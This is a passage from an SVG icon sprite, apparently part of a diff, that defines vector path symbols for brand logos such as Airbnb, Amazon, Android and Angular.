xmlns="http://www.w3.org/2000/svg" style="display: none;"> + <symbol id="500px" viewBox="0 0 448 512"> + <path d="M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"></path> + </symbol> + <symbol id="accessible-icon" viewBox="0 0 448 512"> + <path d="M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"></path> + </symbol> + <symbol id="accusoft" viewBox="0 0 640 512"> + <path d="M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"></path> + </symbol> + <symbol id="acquisitions-incorporated" viewBox="0 0 384 512"> + <path d="M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z"></path> + </symbol> + <symbol id="adn" viewBox="0 0 496 512"> + <path d="M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"></path> + </symbol> + <symbol id="adversal" viewBox="0 0 512 512"> + <path d="M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"></path> + </symbol> + <symbol id="affiliatetheme" viewBox="0 0 512 512"> + <path d="M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"></path> + </symbol> + <symbol id="airbnb" viewBox="0 0 448 512"> + <path d="M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"></path> + </symbol> + <symbol id="algolia" viewBox="0 0 448 512"> + <path d="M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z"></path> + </symbol> + <symbol id="alipay" viewBox="0 0 448 512"> + <path d="M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"></path> + </symbol> + <symbol id="amazon" viewBox="0 0 448 512"> + <path d="M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"></path> + </symbol> + <symbol id="amazon-pay" viewBox="0 0 640 512"> + <path d="M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"></path> + </symbol> + <symbol id="amilia" viewBox="0 0 448 512"> + <path d="M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"></path> + </symbol> + <symbol id="android" viewBox="0 0 576 512"> + <path d="M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"></path> + </symbol> + <symbol id="angellist" viewBox="0 0 448 512"> + <path d="M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"></path> + </symbol> + <symbol id="angrycreative" viewBox="0 0 640 512"> + <path d="M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"></path> + </symbol> + <symbol id="angular" viewBox="0 0 448 512"> + <path d="M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"></path> + </symbol> + <symbol id="app-store" viewBox="0 0 512 512"> + <path d="M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"></path> + </symbol> + <symbol id="app-store-ios" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 